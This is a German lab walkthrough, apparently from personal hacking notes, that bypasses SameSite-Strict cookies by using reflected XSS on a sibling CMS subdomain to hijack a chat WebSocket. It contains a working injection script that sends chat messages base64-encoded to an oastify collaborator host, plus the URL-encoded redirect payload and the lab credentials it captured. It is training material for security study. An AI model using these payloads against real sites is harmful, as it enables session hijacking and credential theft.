> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# SameSite-Strict-Bypass über eine Geschwisterdomain

### SameSite-Strikt-Umgehung über eine Geschwisterdomain

Lab: Die Live-Chat-Funktionalität ist anfällig für Cross-Site-WebSocket-Hijacking (CSWSH). Das Ziel des Labs ist es, auf das Konto des Opfers zuzugreifen, indem der Chatverlauf an den Standard-Burp-Collaborator-Server exfiltriert wird; der Verlauf enthält Klartext-Anmeldedaten.

Verwenden Sie den bereitgestellten Exploit-Server, um einen CSWSH-Angriff zu starten, der den Verlauf der Katze des Opfers exfiltriert.

<figure><img src="/files/9774b33a9c53e915fc41ce0fec6769dd7131cf1a" alt=""><figcaption></figcaption></figure>

Der Chat funktioniert über WebSocket, und der Verlauf läuft darüber.

<figure><img src="/files/96effbae3169559daf4dff7ae44827c02951a417" alt=""><figcaption></figcaption></figure>

Das Sitzungscookie wird mit SameSite gesendet (blockiert herkömmliche Cross-Site-Weiterleitungsszenarien).

<figure><img src="/files/2705d66137b6bbff5726cbff9ba875439cf4297c" alt=""><figcaption></figcaption></figure>

Die JavaScript-Client-Datei (z. B. `chat.js`) wird von einer CMS-Subdomain geladen, die einen `Access-Control-Allow-Origin` Header zurückgibt, der Interaktionen von dieser Subdomain aus erlaubt.

<figure><img src="/files/4a45c8c4d9304bccb645a16dd995e26541730133" alt=""><figcaption></figcaption></figure>

Das CMS-Authentifizierungsfeld ist anfällig für Skriptinjektion über den `Benutzernamen` Parameter (z. B. `?username=<script>alert(0)</script>&password=test`).

<figure><img src="/files/4431bf544d92a40a9f16f002e5f1583a3165e5e3" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/757777701c6f7508cf0fcad758e22b2b650bf890" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="/files/8dfd8907d0d8b04eb5495bffde012ec2a38ca6ef" alt=""><figcaption></figcaption></figure>

Mit dieser Injektion können Sie JavaScript im Kontext der verwundbaren Subdomain ausführen und so eine authentifizierte WebSocket-Verbindung (Cookies werden dann gesendet, da der Ursprung derselbe ist) zum Chat-Server herstellen.

### Vorgehensweise (Zusammenfassung)

1. Platzieren Sie ein bösartiges Skript in den `Benutzernamen` Parameter des Login-Formulars der CMS-Subdomain.
2. Dieses Skript öffnet eine WebSocket-Verbindung zum Chat-Server und sendet ein `READY` Signal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Beim Empfang von Nachrichten aus dem WebSocket (Chatverlauf der Katze) sendet das `fetch` Skript diese Daten (Base64) an einen vom Angreifer kontrollierten Server (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="/files/871c4daa22e911fd5bc701b804db2ca6e5ba8501" alt=""><figcaption></figcaption></figure>

Hosten/servieren Sie auf dem Exploit-Server eine Weiterleitung, um das Opfer dazu zu bringen, die verwundbare URL aufzurufen (Anmeldung mit `Benutzernamen` dem Skript darin).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Beobachtete Ergebnisse

* Als die exfiltrierte Abfrage empfangen wurde, enthielt der `Daten` Parameter eine Base64-Zeichenkette; durch Dekodieren erhalten wir den Eintrag der Katze.
* Beispiel für empfangene Nutzlast (Base64-dekodiert):

```json
{"user":"CONNECTED","content":"-- Jetzt wird mit Hal Pline gechattet --"}
```

<figure><img src="/files/d04bc2ec5361d838502783ec3f9811d5a4690e24" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb30a5824d9b8c60e742f7e8261bcececec249fe" alt=""><figcaption></figcaption></figure>

Durch die Injektion aus dem authentifizierten Kontext (CMS-Subdomain) übertrug das Skript Nachrichten mit Benutzerunterhaltungen und in diesem Fall eine Nachricht, die die Anmeldedaten im Klartext enthielt.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Extrahierte Anmeldedaten (wie vermerkt)

* `carlos:hdf3fkk8h7tnltupqs5t` (Anmeldedaten im Chatverlauf der Katze gefunden)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Kein Problem carlos, es ist hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="/files/d3e78d18f4c9ef045c90f722384e7ed4ec427adf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
